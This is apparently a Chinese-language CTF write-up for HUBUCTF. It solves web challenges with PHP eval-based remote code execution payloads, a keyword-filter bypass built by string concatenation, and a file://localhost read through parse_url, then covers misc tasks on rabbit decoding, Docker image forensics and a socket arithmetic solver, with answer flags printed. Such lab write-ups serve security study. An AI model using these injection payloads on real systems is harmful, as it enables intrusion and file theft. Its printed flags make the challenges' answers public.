ez_eval
1 2 3 4 5 6 7 8 9
| <?php highlight_file(__FILE__); error_reporting(0);
$hubu = $_GET['hubu'];
eval($hubu);
?>
|
先进行代码审计,GET传参hubu,并执行命令,没有任何绕过,放开手脚去做
payload:
1
| ?hubu=system('cat /f*'); #直接rce
|
rce_level1
1 2 3 4 5 6 7 8 9 10
| <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
代码审计,发现过滤了关键字flag,system,php。
使用拼接绕过构造payload:
1 2
| ?c=('sys'.'tem')(ls); #发现目录下没有flag文件 ?c=('sys'.'tem')(cat /f*); #发现回显空白
|
不在文件夹里,那可能是在phpinfo里
payload:
没回显…根据代码的过滤可以知道,应该只过滤了三个关键字,可其实并不只过滤了这三个关键字。
经过测试,发现有隐藏过滤,比如关键字php,和一些字符如反斜杠\
最后的payload:
在页面中找到flag。
ez_LFI
考点:伪协议
先随便传一个,/?url=111
代码审计,根据网上查询的parse_url()函数的资料显示:
解析 URL,返回其组成部分,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php $url = 'http://username:password@hostname/path?arg=value#anchor'; print_r(parse_url($url)); echo parse_url($url, PHP_URL_PATH); ?> 结果---------------------------------------------------------------------------------------------------- Array ( [scheme] => http [host] => hostname [user] => username [pass] => password [path] => /path [query] => arg=value [fragment] => anchor )
|
所以必须在传入的url参数中让[host]是localhost。
然后再用file协议读取flag。
payload:
1
| /?url=file://localhost/flag
|
HUBUCTF{22290581-9558-4405-9c01-368dc660bf6a}
Misc
Cute Rabbit
考点:rabbit编码
1
| VTJGc2RHVmtYMS91RnhkczF5SU1jdit1K3o0NzFCcDR2aXcrVkNNaS9TU1QyZU5EMFUvSQo=
|
签到题,根据题目提示,是rabbit编码,密文末尾的=表示可能是base64,所以是
base64 -> rabbit
HUBUCTF{S0_<u73_R4b6it}
Docker Forensic
考点:docker的使用
根据题目提示,先拉取镜像
1
| docker pull crpi-i24jskxbbxvfxlzp.cn-hangzhou.personal.cr.aliyuncs.com/st4rry/aliyun:ez_docker_forensic
|
将镜像压缩到本地
将文件解压到一个目录下,然后切换到该目录。在该目录下有个sha256文件夹,把里面的文件解压
在tmp中找到password
退级,在解压后的一个文件夹里找到flag.txt
使用了加盐算法,密钥就是上面的password,进行解密
HUBUCTF{1_L0v3_D0ck3r_F0r3ns1c_A}
SpeedMath
考点:nc连接,python脚本
先用nc连接
发现会出现算数题目,但是给你输入的时间很短,所以几乎不可能手工做,直接问AI写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| import socket import re
def solve_arithmetic_expression(expression): """ 解析并计算算术表达式的结果。 这里假设表达式只包含整数和基本的加减乘除运算。 """ try: # 使用eval计算表达式的结果,但注意eval的安全性问题 # 在实际应用中,应该使用更安全的解析方法 result = eval(expression) return result except Exception as e: print(f"Error evaluating expression '{expression}': {e}") return None
def nc_connection(host, port): """ 使用Netcat连接到服务器,并自动解答算术题。 """ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((host, port)) while True: # 读取服务器发送的数据 data = s.recv(1024).decode('utf-8').strip() if not data: # 如果没有接收到数据,可能是连接已经关闭 break print(f"Received: {data}") # 使用正则表达式匹配算术题目 match = re.match(r'Question \d+: (\d+) ([+\-*/]) (\d+) =', data) if match: num1 = int(match.group(1)) operator = match.group(2) num2 = int(match.group(3)) # 构造算术表达式 expression = f"{num1} {operator} {num2}" # 计算正确答案 correct_answer = solve_arithmetic_expression(expression) if correct_answer is not None: # 将答案发送回服务器(假设服务器期望的是整数答案) s.sendall(f"{correct_answer}\n".encode('utf-8')) else: # 如果无法计算表达式,则退出循环 print("Failed to solve expression.") break else: # 如果不是算术题目,可能是其他信息或结束信息 # 这里假设服务器在发送完所有题目后会发送一个非算术题目的消息 print("Received non-arithmetic message, possibly final message.") print(f"Final message: {data}") break
# 使用示例 nc_connection('challenge.hubuctf.cn', 32478) # 替换为你的服务器主机名和端口号
|
HUBUCTF{72e53365-bf9c-48db-8327-83b9c9269e7d}